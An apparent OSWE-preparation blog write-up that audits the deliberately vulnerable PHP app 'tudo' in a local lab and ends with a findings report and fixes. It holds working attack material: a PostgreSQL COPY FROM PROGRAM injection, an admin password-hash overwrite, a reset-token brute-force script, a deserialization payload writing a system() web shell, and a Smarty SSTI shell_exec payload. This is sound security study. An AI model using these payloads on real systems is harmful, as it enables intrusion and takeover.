OSWE Preparation: GitHub Tudo Project Code Analyze Report (Full English Version)

misaka19008 发布于 17 小时前 15 次阅读 5231 字



Basic Information

Project Name: bmdyy/tudo

Project Introduction: TUDO — A Vulnerable PHP Web App

Project URL: https://github.com/bmdyy/tudo

Local Address of Debug Website: http://192.168.9.10:8000http://192.168.9.50:8000

Objective: Find all vulnerabilities to get RCE on this web application. There are 2 login bypass, 1 privilege escalation and 3 remote code execution vulnerabilities.


Directory Structure & Technologies

The directory structure of target web application is listed below:

And we can easily understand the feature of each directory and PHP script:

  • admin:Directory of all manage pages, can only be used by administrator in theory.
  • images:Directory for storing uploaded image files.
  • includes:Directory of application's support script file.
  • style:Directory for storing frontend's static file.
  • templates/templates_c:Website template directory.
  • vendor:Directory of PHP Smarty Engine.
  • index.php:Home page; login.php:Login page; profile.php: Personal information page.
  • forgotusername.php: Quering page for existed username; forgotpassword.php/resetpassword.php: Retrieve password feature.

The target web application is deploied through Docker, here are the service components:

  • Operating System: Debian Linux 13
  • Web Server: Apache HTTP Server 2.4.66
  • Programming Language: PHP 8.5.4
  • Database: PostgreSQL (Docker Latest)

Enumerating Website

Opening target's URL: http://192.168.9.10:8000

The browser automatically redirected to the login.php, so we can found 3 links in the bottom of login box: Log in, Forgot usernameandForgot password. Log in points to the login page, Forgot usernamepoints to the username query page, Forgot passwordpoints to the password reset page.

Didn't find any useful information except this, start the code analyzing process.

Analyzing Source code

We will read all of the source code and try to understand every part, to find the vulnerabilities.

"includes" Directory

There are 6 script files in the includes directory:

db_connect.php

<?php
    if (!isset($db)) {
        $host        = "host = tudo-db";
        $port        = "port = 5432";
        $dbname      = "dbname = tudo";
        $credentials = "user = postgres password = postgres";

        $db = pg_connect( "$host $port $dbname $credentials" );

        if (!$db) {
            echo "Error: Unable to connect to db.";
        }
    }
?>

This script file defines the database credential, then created a PostgreSQL connection object.

header.php, login_footer.php, logout.php

First, we look into header.php:

<?php 
    if (session_id() == "")
        session_start(); 
?>

<div id="header">
<b><a href="/">TUDO</a></b> -- <i>An anonymous forum for discussing classes at the <a href="https://www.tuwien.at/en/">Technical University of Vienna</a></i>

<?php if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true){?>
    <span style="float:right;">Logged in as: <a href="/profile.php"><b><?php echo $_SESSION['username']; ?></b></a>, <a href="/includes/logout.php">Log out</a></span>
<?php } ?>
<small style="color:#003366"><a href="http://github.com/bmdyy">&copy; William Moody, 2021</a></small>
</div>

According to the source code, we can know the header.php enables PHP Session feature, prints some of the HTML structure of frontend and displays the logged username directly on the page. This may cause XSS issue.

Then we turn to login_footer.php:

This script file only displays the footer HTML structure of the website page, it doesn't run any PHP code.

The last one is logout.php:

<?php
    session_start();
    session_destroy();
    header('location:/login.php');
    die();
?>

It will destory the PHP Session data when some authenticated user visiting the page, then redirect the client to login.php.

createpost.php

Here is the source code of createpost.php:

<?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $lvaCode = $_POST['lvaCode'];
        $lvaName = $_POST['lvaName'];
        $professor = $_POST['professor'];
        $ects = $_POST['ects'];
        $description = $_POST['description'];

        if ($lvaCode!=="" && $lvaName!=="" && $professor!=="" && $ects!=="" && $description!=="") {
            include('db_connect.php');
            $ret = pg_prepare($db,
                "createpost_query", "insert into class_posts (code, name, professor, ects, description) values ($1, $2, $3, $4, $5)");
            $ret = pg_execute($db, "createpost_query", array($lvaCode,$lvaName,$professor,$ects,$description));
        }
    }
    header('location:/index.php');
    die();
?>

By reading the source code, we can understand the feature of this page is creating article. The page accepts 5 arguments from POST request: lvaCode, lvaName, professor, ects and description, after that, it inserts these arguments into class_posts data table, by using the Pre-Compile feature of PHP PostgreSQL Client.

Notably, there is neither filter and escape operation (like htmlspecialchars()) nor session checking code found in the whole progress. That means it will cause XSS issue when anyone unauthenticated sending HTML characters to this page.

utils.php

Here is the source code of utils.php:

<?php
    function generateToken() {
        srand(round(microtime(true) * 1000));
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
        $ret = '';
        for ($i = 0; $i < 32; $i++) {
            $ret .= $chars[rand(0,strlen($chars)-1)];
        }
        return $ret;
    }

    class User {
        public function __construct($u, $p, $d) {
            $this->username = $u;
            $this->password = $p;
            $this->description = $d;
        }
    }

    class Class_Post {
        public function __construct($c, $n, $p, $e, $d) {
            $this->code = $c;
            $this->name = $n;
            $this->professor = $p;
            $this->ects = $e;
            $this->description = $d;
        }
    }

    class Log {
        public function __construct($f, $m) {
            $this->f = $f;
            $this->m = $m;
        }

        public function __destruct() {
            file_put_contents($this->f, $this->m, FILE_APPEND);
        }
    }
?>

We discovered that this program defines 3 class and one token generating method, let's analysing the generateToken() method.

In the method, the program will get current timestamp has millsecond level by using microtime(true), then multiplies it with 1000 and get the approximate value by round() function; after that, the final value will be sent to srand() function to generate the seed of random number. So, if the timestamp leaked, attacker will be able to guess the correct token created at certain time.

Then we analysis these three class: User, Class_Post and Log.

Obviously, User class describes the user logged in. It has three member variables and weak security: username, password and description. Class_Post class describes the articles uploaded, because it has 5 member variables: code, name, professor, ects and description, and, we can easily know its function by class name.

Log class is the most important part of this analysing. This class contains 2 member variable: f and m, which means filename and message, and one magic function __destruct(). A function file_put_contents() is called in this magic function. According to the source code, we can see f and m are passed to the function. That means some file will be created when any Log object trigging the destruct progress. This may cause arbitrary file write issue.

"admin" Directory

Now we start to analysis the admin directory.

import_user.php

Here is the source code of import_user.php

From the source code, we can learn that this page has user creating feature. In the begin of this file, the program loads includes/utils.php by using include() function, then runs into the user registering progress. Program accepts the POST argument userobj from request, the passes it to the unserialize() function directly. After unserializing PHP object string to the real object, pg_prepare() function is called, to read the username, password and description variables and bind them with SQL statement, finally, inserts a new user record into the users data table.

Considering a dangerous class Log exists in the utils.php, we think this page has a unauthenticated object unserialize vulnerability, and, this page didn't check if the user logged in too.

update_motd.php

Here is the source code of update_motd.php:

<?php
    session_start();
    if (!isset($_SESSION['isadmin'])) {
        header('location: /index.php');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $message = $_POST['message'];

        if ($message !== "") {
            $t_file = fopen("../templates/motd.tpl","w");
            fwrite($t_file, $message);
            fclose($t_file);

            $success = "Message set!";
        } else {
            $error = "Empty message";
        }
    }
?>

<html>
    <head>
        <title>TUDO/Update MoTD</title>
        <link rel="stylesheet" href="../style/style.css">
    </head>
    <body>
        <?php 
            include('../includes/header.php'); 
            include('../includes/db_connect.php');

            $t_file = fopen("../templates/motd.tpl", "r");
            $template = fread($t_file,filesize("../templates/motd.tpl"));
            fclose($t_file);
        ?>
        <div id="content">
            <form class="center_form" action="update_motd.php" method="POST">
                <h1>Update MoTD:</h1>
                Set a message that will be visible for all users when they log in.<br><br>
                <textarea name="message"><?php echo $template; ?></textarea><br><br>
                <input type="submit" value="Update Message"> <?php if (isset($success)){echo '<span style="color:green">'.$success.'</span>';}
                else if (isset($error)){echo '<span style="color:red">'.$error.'</span>';}?>
            </form>
            <br>
            <form class="center_form" action="upload_image.php" method="POST" enctype="multipart/form-data">
                <h1>Upload Images:</h1>
                These images will display under the message of the day. <br><br>
                <input name="title" placeholder="Title" /><br><br>
                <input type="file" name="image" size="25" />
                <input type="submit" value="Upload Image">
            </form>
        </div>
    </body>
</html>

By reading its source code, we can learn that the feature of this page is to update the motd.tpl template of the website, and administrator session is required to interact with it. After confirming visitor's identity, the program will accept POST argument message, then open the motd.tpl file by using fopen() and fwrite(), write the argument value of message to the file without any checking method. After that, the program will load some support library script and display the contents of motd.tpl by reading it again with fread(). From the perspective of the script itself, a XSS vulnerability exists here, but, you can perform SSTI attack if other script programs read and render it by using PHP template engine.

update_image.php

Here is the source code of upload_image.php:

<?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if ($_FILES['image']) {
            $validfile = true;

            $is_check = getimagesize($_FILES['image']['tmp_name']);
            if ($is_check === false) {
                $validfile = false;
                echo 'Failed getimagesize<br>';
            }

            $illegal_ext = Array("php","pht","phtm","phtml","phpt","pgif","phps","php2","php3","php4","php5","php6","php7","php16","inc");
            $file_ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
            if (in_array($file_ext, $illegal_ext)) {
                $validfile = false;
                echo 'Illegal file extension<br>';
            }

            $allowed_mime = Array("image/gif","image/png","image/jpeg");
            $file_mime = $_FILES['image']['type'];
            if (!in_array($file_mime, $allowed_mime)) {
                $validfile = false;
                echo 'Illegal mime type<br>';
            }

            if ($validfile) {
                $path = basename($_FILES['image']['name']);
                $title = htmlentities($_POST['title']);

                move_uploaded_file($_FILES['image']['tmp_name'], '../images/'.$path);

                include('../includes/db_connect.php');
                $ret = pg_prepare($db,
                    "createimage_query", "insert into motd_images (path, title) values ($1, $2)");
                $ret = pg_execute($db, "createimage_query", array("images/$path", $title));

                echo 'Success';
            }
        }
    }

    header('location:/admin/update_motd.php');
    die();
?>

From looking the filename of this script and understanding it source code, we can know the feature of this page is uploading the image files sent by anyone unauthenticated. Program will read the image file's data from POST File argument $_FILE['image'] and check if the image data legal by getimagesize(). Then, the file extension of the whole filename will be obtained with pathinfo(), program will check if the extension name exists in the blacklist and MIME type are allowed. If all checks passed, uploaded file will be moved to /images/ directory with its original filename, then, a new record about the newly uploaded image, includes its URL and title, will be created and inserted into motd_images data table.

This may cause arbitrary file upload issue, because the script program won't check requestor's identity, and the extension name blacklist is not complete too. Attacker can easily bypass the getimagesize() function by adding string GIF89a to the header of uploaded file.

Root Directory

This is the directory structure of the root of web applicaiton:

index.php

Here is some of the source code of index.php:

According to the source code, we can know this script consists of 3 parts, only authenticated users is allowed to visit this page. Now let's analyze the first part:

<?php if (isset($_SESSION['isadmin'])) {
  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from users order by uid asc;");

  echo '<h4>[Admin Section]</h4>';
  echo '<table>';
  echo '<tr><th>Uid</th><th>Username</th><th>Password (SHA256)</th><th>Description</th></tr>';
  while ($row = pg_fetch_row($ret)) {
    echo '<tr>';
    echo '<td>'.$row[0].'</td>';
    echo '<td>'.$row[1].'</td>';
    echo '<td>'.$row[2].'</td>';
    echo '<td>'.$row[3].'</td>';
    echo '</tr>';
  }
  echo '</table><br>';
  echo '<b>Import user:</b> <br>';
?>
<form action="admin/import_user.php" method="POST">
  <input name="userobj" placeholder="User Object"> 
  <input type="submit" value="Import User">
</form>
<?php
  echo '<hr>';
} ?>

We can found that obtain a administrator level access is required to interact with this feature. In this part, the script program directly prints the UID, username, password hash and description of every user in the website's user data table, without any filtering operation. This may cause XSS issue if someone creates a user which includes HTML character in its username or description.

Then analyzing the second part:

<?php
  if (isset($_SESSION['isadmin']))
    echo '<a href="admin/update_motd.php">';
  echo '<h4>[MoTD]</h4>';
  echo '<div class="center_div">';
  if (isset($_SESSION['isadmin']))
    echo '</a>';

  require 'vendor/autoload.php';
  $smarty = new Smarty();
  $smarty->assign("username", $_SESSION['username']);
  $smarty->force_compile = true;
  echo $smarty->fetch("motd.tpl").'<br>';

  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from motd_images order by iid desc limit 3;");
  while($row = pg_fetch_row($ret)) {
    echo '<figure><img src="'.$row[1].'" /><figcaption>'.$row[2].'</figcaption></figure>';
  }

  echo '</div>';
  echo '<hr>';
?>

By understanding the source code, we can found this part has a SSTI vulnerability. The script program creates a Smart engine object, and, after setting the username argument and force_compile option, program calls the Smarty::fetch() function to render the motd.tpl template, which is fully controlled by administrator.

In the end, we turn to the last part of index.php:

<?php
  include('includes/db_connect.php');
  $ret = pg_query($db, "select * from class_posts;");

  echo '<h4>[All Posts]</h4>';
  echo '<table id="class_posts">';
  echo '<tr><th>Lva Code</th><th>Lva Name</th><th>Professor</th>';
  echo '<th>ECTS</th><th>Comment</th></tr>';
  while ($row = pg_fetch_row($ret)) {
    echo '<tr>';
    echo '<td><i>'.htmlentities($row[1]).'</i></td>';
    echo '<td><u>'.htmlentities($row[2]).'</u></td>';
    echo '<td>'.htmlentities($row[3]).'</td>';
    echo '<td>'.htmlentities($row[4]).'</td>';
    echo '<td>'.htmlentities($row[5]).'</td>';
    echo '</tr>';
  }
  echo '</table><hr>';
?>

In the last part, all of the articles will be queried and displayed on the page. The program uses htmlentities() function, so no XSS issue exists here.

login.php

Now we start analyzing login.php:

The program will read username and password argument from POST request, after getting the SHA-256 hash of password, a SQL SELECT query will be performed, to find the correct record in the users data table. Client will successfully log in if the total number of returned records is 1.

profile.php

Here is the source code of profile.php:

<?php 
    session_start();
    if (!isset($_SESSION['loggedin']) || !$_SESSION['loggedin'] == true) {
        header('location: /login.php');
        die();
    } 

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($_POST['description'])) {
            $error = true;
        }
        else {
            $description = $_POST['description'];

            include('includes/db_connect.php');
            $ret = pg_prepare($db, "updatedescription_query", "update users set description = $1 where username = $2");
            $ret = pg_execute($db, "updatedescription_query", Array($description, $_SESSION['username']));
            $success = true;
        }
    }
?>

<html>
    <head>
        <title>TUDO/My Profile</title>
        <link rel="stylesheet" href="style/style.css">
    </head>
    <body>
        <?php include('includes/header.php'); ?>
        <div id="content">
            <?php
                include('includes/db_connect.php');
                $ret = pg_prepare($db, "selectprofile_query", "select * from users where username = $1;");
                $ret = pg_execute($db, "selectprofile_query", Array($_SESSION['username']));
                $row = pg_fetch_row($ret);
            ?>
            <h1>My Profile:</h1>
            <form action="profile.php" method="POST">
                <label for="username">Username: </label>
                <input name="username" value="<?php echo $row[1]; ?>" disabled><br><br>
                <label for="password">Password: </label>
                <input name="password" value="<?php echo $row[2]; ?>" disabled><br><br>
                <label for="description">Description: </label>
                <input name="description" value="<?php echo $row[3]; ?>"><br><br>
                <input type="submit" value="Update"> 
                <?php if (isset($error)) {echo '<span style="color:red">Error</span>';} 
                else if (isset($success)) {echo '<span style="color:green">Success</span>';} ?>
            </form>
        </div>
    </body>
</html>

From the source code, we can learn this page is user information manager, needs an authenticated user to visit. Program reads the POST argument description and updates the users table with pg_prepare() function.

forgotusername.php

Here is the source code of forgotusername.php:

By understanding its source code, we can know this pages's feature is searching the exist username in the database. Program reads username argument from POST request, then directly insert it into SQL statement, without any checking method, so there is a SQL injection vulnerability.

forgotpassword.php

Here is the source code of forgotpassword.php:

By reading the source code below, we can easily know the feature of this page is accepting the password reset request and generating the operate token. Program reads the POST argument username from request, then uses PostgreSQL pre-compile function to query the user record from users data table. If username exists, the generateToken() function in the utils.php will be called to generate timestamp-based token. At last, the program will insert a new token record, which contains both UID and Token argument value, into tokens data table.

By the way, the most important thing is, program will not generate the password reset token of user admin, so it is not able to reset administrator's password.

resetpassword.php

Here is the source code of resetpassword.php:

<?php
    session_start();
    if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true) {
        header('location: /index.php');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        include('includes/db_connect.php');
        $ret = pg_prepare($db, "checktoken_query", "select * from tokens where token = $1");
        $ret = pg_execute($db, "checktoken_query", array($_GET['token']));

        if (pg_num_rows($ret) === 0) {
            $invalid_token = true;
        }
    }
    else if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!isset($_POST['token'])) {
            echo 'invalid request';
            die();
        }

        $token = $_POST['token'];
        $password1 = $_POST['password1'];
        $password2 = $_POST['password2'];

        if ($password1 !== $password2) {
            $pass_error = true;
        }
        else {
            include('includes/db_connect.php');
            $ret = pg_prepare($db, "checktoken_query", "select * from tokens where token = $1");
            $ret = pg_execute($db, "checktoken_query", array($token));

            if (pg_num_rows($ret) === 0) {
                $invalid_token = true;
            } else {
                $uid = pg_fetch_row($ret)[1];
                $newpass = hash('sha256', $password1);

                $ret = pg_prepare($db, "changepassword_query", "update users set password = $1 where uid = $2");
                $ret = pg_execute($db, "changepassword_query", array($newpass, $uid));

                $ret = pg_prepare($db, "deletetoken_query", "delete from tokens where token = $1");
                $ret = pg_execute($db, "deletetoken_query", array($token));

                $success = true;
            }
        }
    }
?>

<html>
    <head>
        <title>TUDO/Reset Password</title>
        <link rel="stylesheet" href="style/style.css">
    </head>
    <body>
        <?php include('includes/header.php'); ?>
        <div id="content">
            <?php
                if (isset($invalid_token)) {
                    echo '<h1 style="color:red">Token is invalid.</h1>';
                    echo '<a href="#" onclick="history.back();return false">Go back</a>';
                    die();
                }

                if (isset($pass_error)) {
                    echo '<h1 style="color:red">Passwords don't match.</h1><br>';
                    echo '<a href="#" onclick="history.back();return false">Go back</a>';
                    die();
                }
            ?>
            <div id="content">
                <form class="center_form" action="resetpassword.php" method="POST">
                    <h1>Reset Password:</h1>
                    <input type="hidden" name="token" value="<?php echo $_GET['token']; ?>">
                    <input type="password" name="password1" placeholder="New password"><br><br>
                    <input type="password" name="password2" placeholder="Confirm password"><br><br>
                    <input type="submit" value="Change password"> 
                    <?php if (isset($success)){echo "<span style='color:green'>Password changed!</span>";} ?>
                    <br><br>
                    <?php include('includes/login_footer.php'); ?>
                </form>
            </div>
        </div>
    </body>
</html>

According to the source code, we can know that the feature of this page is consuming generated token and executing password reset operation. For GET and POST requests, the script program has different processing logic.

When GET request sent, program will accept POST argument token, then use SQL pre-compile feature to query the correct token record from tokens data table. If the token not exists in the database, program will return Invalid Token string to the client, otherwise, program will return nothing.

When POST request sent, program will accept 3 POST arguments: token, password1 and password2. After checking password1 is same with password2 and the token value valid, program will compute the SHA-256 hash value, then get the UID value of token record. In the end, program executes SQL UPDATE query, to change the user's password in the users data table, then delete the used token.

The most important point to determine if the vulnerability exists is generateToken() function. Because we can know the correct time of token generated, we can also generate a possible token list according to its logic, then send GET request to brute force to find the correct token.

So, a password reset vulnerability exists here.

Verify the Exploit Chain

Tudo Username Restore Feature SQLi Vulnerability

In the analyzing process of forgotusername.php, we successfully found a SQL injection vulnerability at line 12:

$ret = pg_query($db, "select * from users where username='".$username."';");

Just open the built-in browser of BurpSuite and visit the target URL: http://192.168.9.10:8000/forgotusername.php, enter a test username then submit:

After that, send the request record to the Repeater to rewrite it, by adding a single quotation mark for breaking the SQL statement structure:

username=misaka19008'

The page returned error code 500, but after adding a single quotation mark again, this page get recovered. So we can surely confirm the SQLi vulnerability exists here.

Try to execute arbitrary command by using COPY FROM PROGRAM statement of PostgreSQL:

username=';create+table+cmd_text(cmd_out+text);copy+cmd_text+from+program+'id';--+-

Successfully executing arbitrary command through SQLi vulnerability!

Because the database container is not the main part of this environment, we must expand the exploit chain in web application, such as changing the password hash of arbitrary user:

UPDATE users SET password = '3ed65ab4a0d462c946e3838222db76a37239eb925a858e69db4410928785b28c' WHERE username = 'admin';

Try logging in with admin user after sending the exploit request:

Success!! We can confirm a web privilege escalation and a remote code execution vulnerability are both exist here.

Tudo Password Reset Feature Logging Bypass Vulnerability

In the analyzing progresses of forgotpassword.php, resetpassword.php and includes/utils.php, we had found a arbitrary low-privilege user credential reset vulnerability, based on the weak random seek generator. Because the correct token can be brute-forced, any attacker who obtained a exist username, can apply a password reset token, then using brute-force to find the correct one, reset the credential of target user at last.

Now, we try to perform this attack by writing a PHP script:

According to the logic of the vulnerability, exploit script accepts 3 arguments from command line: target, user and password, then check if they are legal. Then, after passed check, script initializes a curl object, put the username variable into the POST request array, send the exploit request to the forgotpassword.php, meanwhile, save the timestamps at request begin time and end time. If the response text don't contain the text User doesn't exist, script will continue to execute, or exit the main progress.

/* Send a request to the forgotpassword.php page to create a token. */
$postdata = array("username" => $user);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . "forgotpassword.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postdata));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$begin_timestamp = microtime(true);
$resp = curl_exec($ch);
$end_timestamp = microtime(true);
$time_passed = $end_timestamp - $begin_timestamp;
curl_close($ch);
if (!$resp) exit("[-] Please check your network or target URL!n");
if (strpos($resp,"User doesn't exist") !== false) exit(sprintf("[-] User %s does not exist.n", $user));
echo sprintf("[+] A token of valid user %s has been created.n", $user);
echo sprintf("[*] Begin Timestamp = %.4f, End Timestamp = %.4f, %.4f seconds passed.n[*] Generating possible token list ...n", $begin_timestamp, $end_timestamp, $time_passed);

The following code is the most important part of the exploit script. The feature is tarvelsalling every timpstamp between CURL start time and end time, and generating every possible token.

$token_array = array();
for ($timestamp = $begin_timestamp; $timestamp <= $end_timestamp + 1; $timestamp = $timestamp + 0.0001) {
  srand(round($timestamp * 1000));
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
  $ret = '';
  for ($i = 0; $i < 32; $i++) {
    $ret .= $chars[rand(0,strlen($chars)-1)];
  }
  array_push($token_array, $ret);
}

After that, the program will tarversal every token stored in the token_array variable, send them to resetpassword.php. If valid token found, the program will exit the brute forcing progress, then send the password reset request.

Try to execute the exploit script, for changing the password of user1:

php tudo-arbitrary-user-password-reset.php http://192.168.9.50:8000/ user1 111111

Success!! We can confirm it is a login bypass vulnerability.

Tudo Import User Feature Unauthenticated RCE Vulnerability

In the analyzing progress of admin/import_user.php, we had discovered that the program directly reads and unserializes the userobj argument from POST request without any checking method, then passes user configuration variables to pg_prepare() function, inserts a new user record into users data table. So, it must have a unserialize vulnerability and a arbitrary user register issue.

We can generate a malicious object string by running the following PHP script:

<?php
  class Log {
    public function __construct($u, $p, $d, $f, $m) {
      $this -> username = $u;
      $this -> password = $p;
      $this -> description = $d;
      $this -> f = $f;
      $this -> m = $m;
    }
  }

  $evilobj = new Log("", "", "", "/var/www/html/shell.php", "<?php system($_GET['cmd']); ?>");
  echo(serialize($evilobj));
?>

Then opening the browser, visiting the /admin/import_user.php then intercepting the request packet by BurpSuite:

Just clicking the Send button, and visiting the shell.php to execute id command:

Success!! We can confirm it is a RCE vulnerability.

Tudo Image Upload Feature Unauthenticated File Upload Vulnerability

In the analyzing progress of update_motd.php and index.php, we have found the home page will load motd.tpl template and render it with Smarty engine, which administrator user can fully control the content of motd.tpl. So, attacker who has administrator level access to the website, can add malicious template instruction to the file for getting RCE.

First log in as administrator, and visit /admin/update_motd.php:

Rewrite the template to add code execution instruction:

{php}echo shell_exec("id"){/php}

After clicking the Update Message button, visit the index.php again:

Success!! We can confirm this is a RCE vulnerability.


Final Report

Notice: All exploit scripts were uploaded to misaka19008-official/tudo-exploits-oswe-prep: A project contains all exploits of vulnerable project Tudo, which build for OSWE preparation.

1. Tudo Project: Username Query Feature - Unauthenticated SQLi Vulnerability
Risk Level: High
Description: forgotpassword.php accepts the username argument and directly passes it to the pg_query() function, without any checking method. Attacker can perform stacked queries injection or blind injection, to modify any user's credential, even execute arbitrary command on database server.
Suggestion: Using PostgreSQL pre-compile feature strictly in the whole project, don't pass query argument to the query statement directly.

2. Tudo Project: Password Reset Feature - Arbitrary Low-Privilege User Credential Reset Vulnerability
Risk Level: Medium
Description: The token generator generateToken() in includes/utils.php uses current timestamp as random seek, leads to token brute-force issue. Unauthenticated attacker can reset any low-privilege user's credential by this way.
Suggestion: Rewrite the generatorToken() function, use more than two source as random seek.

3. Tudo Project: Import User Feature - Unauthenticated File Write Vulnerability
Risk Level: High
Description: admin/import_user.php accepts and unserializes the POST argument "userobj" directly. This lead to remote code execution.
Suggestion: Rewrite import_user.php, don't unserialize the variable which fully controlled by user input.

4. Tudo Project: Image Upload Feature - Unauthenticated File Upload Vulnerability
Risk Level: High
Description: admin/upload_image.php uses blacklist to check the extension of upload filename, but the blacklist is not complete. Unauthenticated attacker can upload PHAR file to execute arbitrary command.
Suggestion: Rewrite upload_image.php, don't allow unauthenticated user to access this page, and use whitelist that only contains image extension, to check the upload file.

5. Tudo Project: Template Manager - Authenticated SSTI Vulnerability
Risk Level: High
Description: admin/update_motd.php provides website template manage feature, authenticated attacker who has administrator level access, can inject malicious template instructions. This lead to remote code execution.
Suggestion: Remove the template editor feature, or check the user input, to prevent SSTI attack.

You have reached the end of this document.

此作者没有提供个人介绍。
最后更新于 2026-03-31